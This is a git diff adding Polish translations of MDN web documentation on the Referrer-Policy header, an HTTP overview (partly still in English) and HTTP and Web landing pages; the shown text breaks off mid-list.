+ </tr>
+ <tr>
+ <th><code>origin</code></th>
+ <td>https://example.com/page</td>
+ <td><em>anywhere</em></td>
+ <td>https://example.com/</td>
+ </tr>
+ <tr>
+ <th rowspan="3"><code>origin-when-cross-origin</code></th>
+ <td rowspan="3">https://example.com/page</td>
+ <td>https://example.com/otherpage</td>
+ <td>https://example.com/page</td>
+ </tr>
+ <tr>
+ <td>https://mozilla.org</td>
+ <td>https://example.com/</td>
+ </tr>
+ <tr>
+ <td><strong>http</strong>://example.com/page</td>
+ <td>https://example.com/</td>
+ </tr>
+ <tr>
+ <th rowspan="2"><code>same-origin</code></th>
+ <td rowspan="2">https://example.com/page</td>
+ <td>https://example.com/otherpage</td>
+ <td>https://example.com/page</td>
+ </tr>
+ <tr>
+ <td>https://mozilla.org</td>
+ <td><em>(no referrer)</em></td>
+ </tr>
+ <tr>
+ <th rowspan="3"><code>strict-origin</code></th>
+ <td rowspan="2">https://example.com/page</td>
+ <td>https://mozilla.org</td>
+ <td>https://example.com/</td>
+ </tr>
+ <tr>
+ <td><strong>http</strong>://example.org</td>
+ <td><em>(no referrer)</em></td>
+ </tr>
+ <tr>
+ <td><strong>http</strong>://example.com/page</td>
+ <td><em>anywhere</em></td>
+ <td>http://example.com/</td>
+ </tr>
+ <tr>
+ <th rowspan="3"><code>strict-origin-when-cross-origin</code></th>
+ <td rowspan="3">https://example.com/page</td>
+ <td>https://example.com/otherpage</td>
+ <td>https://example.com/page</td>
+ </tr>
+ <tr>
+ <td>https://mozilla.org</td>
+ <td>https://example.com/</td>
+ </tr>
+ <tr>
+ <td><strong>http</strong>://example.org</td>
+ <td><em>(no referrer)</em></td>
+ </tr>
+ <tr>
+ <th><code>unsafe-url</code></th>
+ <td>https://example.com/page?q=123</td>
+ <td><em>anywhere</em></td>
+ <td>https://example.com/page?q=123</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Określanie_zasady_awaryjnej">Określanie zasady awaryjnej</h3>
+
+<p>Jeśli chcesz określić zasadę awaryjną na wypadek, gdy pożądana zasada nie jest wspierana przez daną przeglądarkę, użyj listy oddzielonej przecinkiem, gdzie na samym końcu wpisujesz pożądaną zasadę:</p>
+
+<pre><code>Referrer-Policy: no-referrer, strict-origin-when-cross-origin</code></pre>
+
+<p>W przypadku powyższego scenariusza, <code>no-referrer</code> zostanie użyty jedynie, jeśli <code>strict-origin-when-cross-origin</code> nie jest wspierany przez daną przeglądarkę.</p>
+
+<p class="note">Określanie wielu wartości jest wspierane jedynie w nagłówku HTTP <code>Referrer-Policy</code>, nie jest natomiast w atrybucie <code>referrerpolicy</code>.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="https://w3c.github.io/webappsec-referrer-policy/#referrer-policy-header">Zasada Referrera </a></td>
+ <td>Wersja robocza redaktora</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<div class="hidden">Tabela kompatybilności na tej stronie jest generowana z danych strukturalnych. Jeśli chcesz mieć swój wkład w tworzenie tych danych, sprawdź <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam żądanie pull.</div>
+
+<p>{{Compat("http.headers.Referrer-Policy")}}</p>
+
+<div class="note">
+<ul>
+ <li>Od wersji 53 w górę, Gecko posiada preferencję dostępną w <code>about:config</code>, by móc pozwolić użytkownikom na ustawienie ich domyślnego <code>Referrer-Policy</code> — <span class="quote"> <code>network.http.referer.userControlPolicy</code>.</span></li>
+ <li>Od wersji 59 w górę (Zobacz: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=587523">#587523</a>), zastąpiono ją przez <code>network.http.referer.defaultPolicy</code> oraz <code>network.http.referer.defaultPolicy.pbmode</code>.</li>
+</ul>
+
+<p>Dopuszczalne wartości to:</p>
+
+<ul>
+ <li>0 — <code>no-referrer</code></li>
+ <li>1 — <code>same-origin</code></li>
+ <li>2 — <code>strict-origin-when-cross-origin</code></li>
+ <li>3 — <code>no-referrer-when-downgrade</code> (domyślna)</li>
+</ul>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}</li>
+ <li>Kiedy używać <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>: {{domxref("Request.referrerPolicy")}}</li>
+ <li>Przestarzała dyrektywa <span style="white-space: nowrap;">{{HTTPHeader("Content-Security-Policy")}}</span> {{HTTPHeader("Content-Security-Policy/referrer", "referrer")}} {{Obsolete_Inline}}</li>
+ <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Zasada same-origin</a></li>
+ <li>
+ <p><a href="https://blog.mozilla.org/security/2015/01/21/meta-referrer/">Tighter Control Over Your Referrers – Mozilla Security Blog</a></p>
+ </li>
+</ul>
diff --git a/files/pl/web/http/http_wiadomosci_ogólne/index.html b/files/pl/web/http/http_wiadomosci_ogólne/index.html
new file mode 100644
index 0000000000..5fe95ca7ea
--- /dev/null
+++ b/files/pl/web/http/http_wiadomosci_ogólne/index.html
@@ -0,0 +1,178 @@
+---
+title: HTTP - wiadomości ogólne
+slug: Web/HTTP/HTTP_wiadomosci_ogólne
+tags:
+ - HTML
+ - HTTP
+ - Mechanika stron
+ - Wstęp
+translation_of: Web/HTTP/Overview
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>HTTP</strong> stanowi</span> {{Glossary("protokół")}}, który umożliwia przechwytywanie zasobów, np. dokumentów HTML. Stanowi <span class="seoSummary">podstawę każdej wymiany danych w Internecie i jest protokołem klient-serwer, co oznacza, że żądania są inicjowane przez odbiorcę, przeważnie przeglądarkę internetową. Kompletny dokument jest rekonstruowany z różnych przechwyconych subdokumentów, np. tekstu, opisu szablonu, obrazków, video, skryptów itd</span>.</p>
+
+<p><img alt="A Web document is the composition of different resources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;"></p>
+
+<p>Klienci i serwery komunikują się poprzez wymianę pojedynczych komunikatów (w przeciwieństwie do strumienia danych). Komunikaty wysyłane przez klienta, przeważnie przeglądarkę internetową, nazywane są <em>żądaniami</em>, a wiadomości wysyłane w odpowiedzi przez serwer <em>odpowiedziami</em>.</p>
+
+<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&amp;%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">Zaprojektowany na początku lat 90. HTTP jest protokołem elastycznym, który wyewoluował na przetrzeni czasu. Jest to protokół warstwy aplikacji, który jest wysyłany nad {{Glossary("TCP")}} lub nad połączeniem TCP zaszyfrowanym w {{Glossary("TLS")}}, chociaż dowolny, godny zaufania protokół transportu mógłby zostać teoretycznie użyty. Z powodu swojej rozszerzalności używany jest nie tylko do przechwytywania dokumentów hipertekstowych, ale również do obrazów i video, bądź do dodawania treści na serwery, jak dane wprowadzane do formularzy HTML. HTTP może być również używany do przechwytywania części dokumentów, aby na żądanie aktualizować strony WWW.</p>
+
+<h2 id="Komponenty_systemów_opartych_o_HTTP">Komponenty systemów opartych o HTTP </h2>
+
+<p>HTTP to protokół klient-serwer: żądania są wysyłane przez jedną jednostkę, agenta użytkownika (lub proxy w jego imieniu). Przeważnie użytkownika jest jednoznaczny z przeglądarką, ale tak naprawdę może być wszystkim, np. robotem przemierzającym sieć, by rozpowszechnić i utrzymywać indeks wyszukiwarki.</p>
+
+<p>Każde indywidualne żądanie jest wysyłane na serwer, który je obsługuje i dostarcza informację zwrotną, zwaną <em>odpowiedzią</em>. Pomiędzy klientem a serwerem znajduje się wiele jednostek, kolektywnie nazywanych {{Glossary("Proxy_server", "proxies")}}, które zajmują się różnymi operacjami i funkcjonują jako bramki lub np. {{Glossary("Cache", "caches")}}.</p>
+
+<p><img alt="Client server chain" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png"></p>
+
+<p>W rzeczywistości pomiędzy przeglądarką i serwerem istnieje więcej komputerów obsługujących żądania: są to routery, modemy itd. Dzięki temu, że układ sieci jest warstwowy, znajdują się one w warstwach sieci i transportu. HTTP znajduje się na samej górze, w warstwie aplikacji. Mimo, że diagnoza problemów pojawiających się sieci jest bardzo istotna, warstwy znajdujące się poniżej przeważnie są nieistotne przy opisie HTTP.</p>
+
+<h3 id="Klient_agent_użytkownika_user-agent">Klient: agent użytkownika (user-agent)</h3>
+
+<p><em>User-agent</em> to każde narzędzie, które działa w imieniu użytkownika. Najczęściej jest nim przeglądarka internetowa, mogą to byc także programy używane przez programistów do debugowania ich aplikacji.</p>
+
+<p>Przegladarka jest <strong>zawsze</strong> jednostką inicjującą żądanie. Nigdy nie jest nim serwer (jednakże na przestrzeni lat, niektóre mechanizmy zostały dodane, w celu symulacji wiadomości inicjowanych przez serwer)</p>
+
+<p>Aby zaprezentować stronę internetowa, przeglądarka wysyła orginalne żądanie, aby wydobyć dokument HTML, który reprezentuje tę stronę. Przeglądarka analizuje plik, robiąc tworząc dodatkowe żądania korespondujące ze skryptami, informacją o układzie strony do wyświetlenia (CSS), i pod zasobami zawartymi w stronie (najczęściej obrazy i wideo). Następnie przeglądarka łączy te zasoby aby zaprezentować uzytkownikowi kompletny dokument - stronę internetową. Skrypty wykonywane przez przeglądarkę mogą wydobywać więcej zasobów w kolejnych fazach oraz odpowiednio aktualizować stronę.</p>
+
+<p>Strona internetowa jest documentem hipertekstowym. To znaczy niektórę części wyświetlanego tekstu są linkami, które mogą być aktywowane (najczęściej przez kliknięcie) aby włączyć nową strone internetową, pozwalającymi uzytkownikowi kierować jego user-agentów i nawigować w sieci. Przeglądarka tłumaczy te wytyczne poprzez żądania HTTP a następnie interpretuje odpowiedzi HTTP aby przedstawić użytkownikowi jasną odpowiedź</p>
+
+<h3 id="The_Web_server">The Web server</h3>
+
+<p>On the opposite side of the communication channel, is the server, which <em>serves</em> the document as requested by the client. A server appears as only a single machine virtually: this is because it may actually be a collection of servers, sharing the load (load balancing) or a complex piece of software interrogating other computers (like cache, a DB server, or e-commerce servers), totally or partially generating the document on demand.</p>
+
+<p>A server is not necessarily a single machine, but several server software instances can be hosted on the same machine. With HTTP/1.1 and the {{HTTPHeader("Host")}} header, they may even share the same IP address.</p>
+
+<h3 id="Proxies">Proxies</h3>
+
+<p>Between the Web browser and the server, numerous computers and machines relay the HTTP messages. Due to the layered structure of the Web stack, most of these operate at the transport, network or physical levels, becoming transparent at the HTTP layer and potentially making a significant impact on performance. Those operating at the application layers are generally called <strong>proxies</strong>. These can be transparent, forwarding on the requests they receive without altering them in any way, or non-transparent, in which case they will change the request in some way before passing it along to the server. Proxies may perform numerous functions:</p>
+
+<ul>
+ <li>caching (the cache can be public or private, like the browser cache)</li>
+ <li>filtering (like an antivirus scan or parental controls)</li>
+ <li>load balancing (to allow multiple servers to serve the different requests)</li>
+ <li>authentication (to control access to different resources)</li>
+ <li>logging (allowing the storage of historical information)</li>
+</ul>
+
+<h2 id="Basic_aspects_of_HTTP">Basic aspects of HTTP</h2>
+
+<h3 id="HTTP_is_simple">HTTP is simple</h3>
+
+<p>HTTP is generally designed to be simple and human readable, even with the added complexity introduced in HTTP/2 by encapsulating HTTP messages into frames. HTTP messages can be read and understood by humans, providing easier testing for developers, and reduced complexity for newcomers.</p>
+
+<h3 id="HTTP_is_extensible">HTTP is extensible</h3>
+
+<p>Introduced in HTTP/1.0, <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a> make this protocol easy to extend and experiment with. New functionality can even be introduced by a simple agreement between a client and a server about a new header's semantics.</p>
+
+<h3 id="HTTP_is_stateless_but_not_sessionless">HTTP is stateless, but not sessionless</h3>
+
+<p>HTTP is stateless: there is no link between two requests being successively carried out on the same connection. This immediately has the prospect of being problematic for users attempting to interact with certain pages coherently, for example, using e-commerce shopping baskets. But while the core of HTTP itself is stateless, HTTP cookies allow the use of stateful sessions. Using header extensibility, HTTP Cookies are added to the workflow, allowing session creation on each HTTP request to share the same context, or the same state.</p>
+
+<h3 id="HTTP_and_connections">HTTP and connections</h3>
+
+<p>A connection is controlled at the transport layer, and therefore fundamentally out of scope for HTTP. Though HTTP doesn't require the underlying transport protocol to be connection-based; only requiring it to be <em>reliable</em>, or not lose messages (so at minimum presenting an error). Among the two most common transport protocols on the Internet, TCP is reliable and UDP isn't. HTTP therefore relies on the TCP standard, which is connection-based.</p>
+
+<p>Before a client and server can exchange an HTTP request/response pair, they must establish a TCP connection, a process which requires several round-trips. The default behavior of HTTP/1.0 is to open a separate TCP connection for each HTTP request/response pair. This is less efficient than sharing a single TCP connection when multiple requests are sent in close succession.</p>
+
+<p>In order to mitigate this flaw, HTTP/1.1 introduced <em>pipelining</em> (which proved difficult to implement) and <em>persistent connections</em>: the underlying TCP connection can be partially controlled using the {{HTTPHeader("Connection")}} header. HTTP/2 went a step further by multiplexing messages over a single connection, helping keep the connection warm and more efficient.</p>
+
+<p>Experiments are in progress to design a better transport protocol more suited to HTTP. For example, Google is experimenting with <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a> which builds on UDP to provide a more reliable and efficient transport protocol.</p>
+
+<h2 id="What_can_be_controlled_by_HTTP">What can be controlled by HTTP</h2>
+
+<p>This extensible nature of HTTP has, over time, allowed for more control and functionality of the Web. Cache or authentication methods were functions handled early in HTTP history. The ability to relax the <em>origin constraint</em>, by contrast, has only been added in the 2010s.</p>
+
+<p>Here is a list of common features controllable with HTTP.</p>
+
+<ul>
+ <li><em><a href="/en-US/docs/Web/HTTP/Caching">Caching</a></em><br>
+ How documents are cached can be controlled by HTTP. The server can instruct proxies and clients, about what to cache and for how long. The client can instruct intermediate cache proxies to ignore the stored document.</li>
+ <li><em>Relaxing the origin constraint</em><br>
+ To prevent snooping and other privacy invasions, Web browsers enforce strict separation between Web sites. Only pages from the <strong>same origin</strong> can access all the information of a Web page. Though such constraint is a burden to the server, HTTP headers can relax this strict separation on the server side, allowing a document to become a patchwork of information sourced from different domains; there could even be security-related reasons to do so.</li>
+ <li><em>Authentication</em><br>
+ Some pages may be protected so that only specific users can access them. Basic authentication may be provided by HTTP, either using the {{HTTPHeader("WWW-Authenticate")}} and similar headers, or by setting a specific session using <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>.</li>
+ <li><em><a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling">Proxy and tunneling</a></em><br>
+ Servers or clients are often located on intranets and hide their true IP address from other computers. HTTP requests then go through proxies to cross this network barrier. Not all proxies are HTTP proxies. The SOCKS protocol, for example, operates at a lower level. Other protocols, like ftp, can be handled by these proxies.</li>
+ <li><em>Sessions</em><br>
+ Using HTTP cookies allows you to link requests with the state of the server. This creates sessions, despite basic HTTP being a state-less protocol. This is useful not only for e-commerce shopping baskets, but also for any site allowing user configuration of the output.</li>
+</ul>
+
+<h2 id="HTTP_flow">HTTP flow</h2>
+
+<p>When a client wants to communicate with a server, either the final server or an intermediate proxy, it performs the following steps:</p>
+
+<ol>
+ <li>Open a TCP connection: The TCP connection is used to send a request, or several, and receive an answer. The client may open a new connection, reuse an existing connection, or open several TCP connections to the servers.</li>
+ <li>Send an HTTP message: HTTP messages (before HTTP/2) are human-readable. With HTTP/2, these simple messages are encapsulated in frames, making them impossible to read directly, but the principle remains the same. For example:
+ <pre class="line-numbers language-html notranslate"><code class="language-html">GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr</code></pre>
+ </li>
+ <li>Read the response sent by the server, such as:
+ <pre class="line-numbers language-html notranslate"><code class="language-html">HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... (here comes the 29769 bytes of the requested web page)</code></pre>
+ </li>
+ <li>Close or reuse the connection for further requests.</li>
+</ol>
+
+<p>If HTTP pipelining is activated, several requests can be sent without waiting for the first response to be fully received. HTTP pipelining has proven difficult to implement in existing networks, where old pieces of software coexist with modern versions. HTTP pipelining has been superseded in HTTP/2 with more robust multiplexing requests within a frame.</p>
+
+<h2 id="HTTP_Messages">HTTP Messages</h2>
+
+<p>HTTP messages, as defined in HTTP/1.1 and earlier, are human-readable. In HTTP/2, these messages are embedded into a binary structure, a <em>frame</em>, allowing optimizations like compression of headers and multiplexing. Even if only part of the original HTTP message is sent in this version of HTTP, the semantics of each message is unchanged and the client reconstitutes (virtually) the original HTTP/1.1 request. It is therefore useful to comprehend HTTP/2 messages in the HTTP/1.1 format.</p>
+
+<p>There are two types of HTTP messages, requests and responses, each with its own format.</p>
+
+<h3 id="Requests">Requests</h3>
+
+<p>An example HTTP request:</p>
+
+<p><img alt="A basic HTTP request" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p>
+
+<p>Requests consists of the following elements:</p>
+
+<ul>
+ <li>An HTTP <a href="/en-US/docs/Web/HTTP/Methods">method</a>, usually a verb like {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} or a noun like {{HTTPMethod("OPTIONS")}} or {{HTTPMethod("HEAD")}} that defines the operation the client wants to perform. Typically, a client wants to fetch a resource (using <code>GET</code>) or post the value of an <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML form</a> (using <code>POST</code>), though more operations may be needed in other cases.</li>
+ <li>The path of the resource to fetch; the URL of the resource stripped from elements that are obvious from the context, for example without the {{Glossary("protocol")}} (<code>http://</code>), the {{Glossary("domain")}} (here, <code>developer.mozilla.org</code>), or the TCP {{Glossary("port")}} (here, <code>80</code>).</li>
+ <li>The version of the HTTP protocol.</li>
+ <li>Optional <a href="/en-US/docs/Web/HTTP/Headers">headers</a> that convey additional information for the servers.</li>
+ <li>Or a body, for some methods like <code>POST</code>, similar to those in responses, which contain the resource sent.</li>
+</ul>
+
+<h3 id="Responses">Responses</h3>
+
+<p>An example response:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p>
+
+<p>Responses consist of the following elements:</p>
+
+<ul>
+ <li>The version of the HTTP protocol they follow.</li>
+ <li>A <a href="/en-US/docs/Web/HTTP/Status">status code</a>, indicating if the request was successful, or not, and why.</li>
+ <li>A status message, a non-authoritative short description of the status code.</li>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Headers">headers</a>, like those for requests.</li>
+ <li>Optionally, a body containing the fetched resource.</li>
+</ul>
+
+<h2 id="APIs_based_on_HTTP">APIs based on HTTP</h2>
+
+<p>The most commonly used API based on HTTP is the {{domxref("XMLHttpRequest")}} API, which can be used to exchange data between a {{Glossary("user agent")}} and a server. The modern {{domxref("Fetch API")}} provides the same features with a more powerful and flexible feature set.</p>
+
+<p>Another API, <a href="/en-US/docs/Web/API/Server-sent_events">server-sent events</a>, is a one-way service that allows a server to send events to the client, using HTTP as a transport mechanism. Using the {{domxref("EventSource")}} interface, the client opens a connection and establishes event handlers. The client browser automatically converts the messages that arrive on the HTTP stream into appropriate {{domxref("Event")}} objects, delivering them to the event handlers that have been registered for the events' {{domxref("Event.type", "type")}} if known, or to the {{domxref("EventSource.onmessage", "onmessage")}} event handler if no type-specific event handler was established.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>HTTP is an extensible protocol that is easy to use. The client-server structure, combined with the ability to simply add headers, allows HTTP to advance along with the extended capabilities of the Web.</p>
+
+<p>Though HTTP/2 adds some complexity, by embedding HTTP messages in frames to improve performance, the basic structure of messages has stayed the same since HTTP/1.0. Session flow remains simple, allowing it to be investigated, and debugged with a simple <a href="/en-US/docs/Tools/Network_Monitor">HTTP message monitor</a>.</p>
diff --git a/files/pl/web/http/index.html b/files/pl/web/http/index.html
new file mode 100644
index 0000000000..ae21c93fa1
--- /dev/null
+++ b/files/pl/web/http/index.html
@@ -0,0 +1,89 @@
+---
+title: HTTP
+slug: Web/HTTP
+tags:
+ - HTTP
+ - Hipertekst
+ - Reference
+ - Referencja
+ - TCP/IP
+ - TopicStub
+ - Web
+ - 'l10n:priority'
+translation_of: Web/HTTP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><strong><dfn>Protokół Przesyłania Danych Hipertekstowych (Hypertext Transfer Protocol, HTTP)</dfn></strong> to protokół <a href="https://en.wikipedia.org/wiki/Application_Layer">warstwy aplikacji</a>, odpowiedzialny za transmisję dokumentów hipermedialnych, jak np. HTML. Został stworzony do komunikacji pomiędzy przeglądarkami, a serwerami webowymi, ale może być używany również w innych celach. HTTP opiera się na klasycznym <a href="https://en.wikipedia.org/wiki/Client%E2%80%93server_model">modelu klient-serwer</a>, gdzie klient inicjuje połączenie poprzez wysłanie żądania, następnie czeka na odpowiedź. HTTP jest <a href="https://en.wikipedia.org/wiki/Stateless_protocol">protokołem bezstanowym</a>, co oznacza, że serwer nie przechowuje żadnych danych (stanów) pomiędzy oboma żądaniami. Mimo, że często opiera się na warstwie TCP/IP, może być używany także na godnej zaufania <a href="http://en.wikipedia.org/wiki/Transport_Layer">warstwie transportowej</a>, tj. protokół, który nie traci po cichu komunikatów, jak ma to miejsce w przypadku UDP. <a href="https://en.wikipedia.org/wiki/Reliable_User_Datagram_Protocol">RUDP</a>, wiarygodna aktualizacja UDP, może stanowić odpowiednią alternatywę.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Samouczki">Samouczki</h2>
+
+<p>Poprzez samouczki i instrukcje ucz się, jak używać HTTP.</p>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview">HTTP - wiadomości ogólne</a></dt>
+ <dd>Podstawowe cechy protokołu klient-serwer: co robi i do czego w założeniu służy.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching">Cache HTTP</a></dt>
+ <dd>Buforowanie (caching) jest bardzo ważne z punktu widzenia szybkości działania stron WWW. Ten artykuł opisuje różne metody buforowania i jak używać nagłówków HTTP, by ten proces kontrolować.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">Ciasteczka HTTP</a></dt>
+ <dd>Jak działają ciasteczka (cookies) jest określone w <a href="http://tools.ietf.org/html/rfc6265">RFC 6265</a>. Podczas obsługi żądania HTTP, serwer może wysłać nagłówek HTTP <code>Set-Cookie</code> z odpowiedzią. Następnie klient zwraca wartość ciasteczka z każdym żądaniem do tego samego serwera w formie nagłówka żądania <code>Cookie</code>. Ciasteczko może być również ustawione na wygasające wraz z nadejściem ustalonej daty lub ograniczone do konkretnej domeny i ścieżki.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></dt>
+ <dd><strong>Żądania HTTP między stronami (cross-site) </strong>to żądania HTTP z zasobów pochodzących <strong>z innej domeny</strong>, niż domena zasobu zgłaszającego żądanie. Przykładowo strona HTML z Domeny A (<code>http://domaina.example/</code>) żąda otrzymania obrazka z Domeny B (<code>http://domainb.foo/image.jpg</code>) poprzez element <code>img</code>. Współcześnie strony WWW powszechnie ładują zasoby między stronami, m. in. arkusze stylów CSS, obrazki, skrypty i inne zasoby. CORS pozwala twórcom stron na kontrolowanie jak ich strona WWW zachowuje się w obliczu żądań typu cross-site.</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Rozwój HTTP</a></dt>
+ <dd>Zwięzły opis zmian pomiędzy wczesnymi wersjami HTTP, a współczesnym HTTP/2.</dd>
+ <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Wskazówki dot. bezpieczeństwa WWW od Mozilli</a></dt>
+ <dd>Zbiór wskazówek mających na celu pomoc zespołom operacyjnym w tworzeniu bezpiecznych aplikacji WWW.</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Messages">Komunikaty HTTP</a></dt>
+ <dd>Opisuje typy i struktury różnych rodzajów komunikatów HTTP/1.x oraz HTTP/2.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Session">Typowa sesja HTTP</a></dt>
+ <dd>Pokazuje i wyjaśnia przebieg typowej sesji HTTP.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Zarządzanie połączeniami w HTTP/1.x</a></dt>
+ <dd>Opisuje trzy modele zarządzania połączeniami, które są dostępne w HTTP/1.x, ich mocne i słabe strony.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Referencje">Referencje</h2>
+
+<p>Przeszukaj szczegółową dokumentację referencyjną HTTP.</p>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers">Nagłówki HTTP</a></dt>
+ <dd>Nagłówki wiadomości HTTP są używane do opisu lub zachowania serweru lub klienta. Customowe, własne nagłówki mogą być dodawane przy zastosowaniu prefiksu <code>X-</code>; pozostałe w <a href="http://www.iana.org/assignments/message-headers/perm-headers.html">rejestrze IANA</a>, których oryginalna treść została zdefiniowana w <a href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA również utrzymuje <a href="http://www.iana.org/assignments/message-headers/prov-headers.html">rejestr zaproponowanych, nowych nagłówków wiadomości HTTP</a>.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">Metody żądań HTTP</a></dt>
+ <dd>Różne operacje, które mogą zostać wykonane z HTTP: {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, i również mniej znane żądania, jak {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}} czy {{HTTPMethod("TRACE")}}.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Response_codes">Kody Odpowiedzi Statusu HTTP</a></dt>
+ <dd>Kody odpowiedzi HTTP wskazują, czy określone żądanie HTTP zakończyło się powodzeniem. Odpowiedzi są grupowane w pięciu klasach: odpowiedzi informacyjne, odpowiedzi powodzenia, przekierowania, błędy po stronie klienta i błędy po stronie serwera.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Dyrektywy CSP</a></dt>
+ <dd>Nagłówki odpowiedzi {{HTTPHeader("Content-Security-Policy")}} pozwalają administratorom stron WWW kontrolować jakie zasoby agent użytkownika może ładować na podanej stronie. Poza paroma wyjątkami, wytyczne przeważnie zawierają specyfikację originów serwera i zakończenia skryptów.</dd>
+</dl>
+
+<h2 id="Narzędzia_i_zasoby">Narzędzia i zasoby</h2>
+
+<p>Pomocne narzędzia i zasoby dla lepszego zrozumienia i debugowania HTTP.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Tools">Firefox Developer Tools</a></dt>
+ <dd><a href="/en-US/docs/Tools/Network_Monitor">Monitor sieci</a></dd>
+ <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></dt>
+ <dd>
+ <p>Projekt stworzony po to, by pomagać deweloperom, administratorom systemów i specjalistom ds. bezpieczeństwa w bezpiecznej i solidnej konfiguracji ich stron.</p>
+ </dd>
+ <dt><a class="external" href="https://redbot.org/">RedBot</a></dt>
+ <dd>Narzędzia do sprawdzania Twoich nagłówków związanych z cache'ami.</dd>
+ <dt><a href="http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">Jak działają przeglądarki</a></dt>
+ <dd>Bardzo kompleksowy artykuł dot. wnętrza przeglądarek i przepływu żądań poprzez zastosowanie protokołu HTTP. Każdy tworca stron MUSI to przeczytać.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/pl/web/index.html b/files/pl/web/index.html
new file mode 100644
index 0000000000..329f7efc63
--- /dev/null
+++ b/files/pl/web/index.html
@@ -0,0 +1,53 @@
+---
+title: Technologie Internetowe dla developerów
+slug: Web
+tags:
+ - Landing
+ - NeedsTranslation
+ - TopicStub
+ - Web
+translation_of: Web
+---
+<p>Otwarty Internet oferuje deweloperom niesamowite możliwości. By móc w pełni je wykorzystać, musisz wiedzieć jak ich używać. Poniżej znajdziesz linki do odpowiednich podstron naszej dokumentacji technologii Internetowych.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">Dokumentacja dla Webdeveloperów</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Reference" title="/en-US/docs/Web/Reference">Dokumentacja Webdevelopera</a></dt>
+ <dd>Lista materiałów traktujących o technologiach Internetowych wliczając w to również HTML i CSS.</dd>
+ <dt><a href="/en-US/docs/Web/Guide" title="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/">Przewodnik Webdevelopera</a></dt>
+ <dd>Przewodnik ten dostarcza wiele przydatnych przykładów, które pomogą Tobie wykonać to co chcesz lub musisz zrobić z użyciem technologii Internetowych.</dd>
+ <dt><a href="/en-US/docs/Web/Tutorials" title="/en-US/docs/Web/Tutorials">Samouczki Webdevelopera</a></dt>
+ <dd>Lista samouczków, które krok po kroku objaśnią Tobie kolejne API, technologie, albo konkretne, rozległe i ważne tematy.</dd>
+ <dt><a href="/en-US/docs/Web/Apps" title="/en-US/docs/Web/Apps">Rozwijanie aplikacji Internetowych</a></dt>
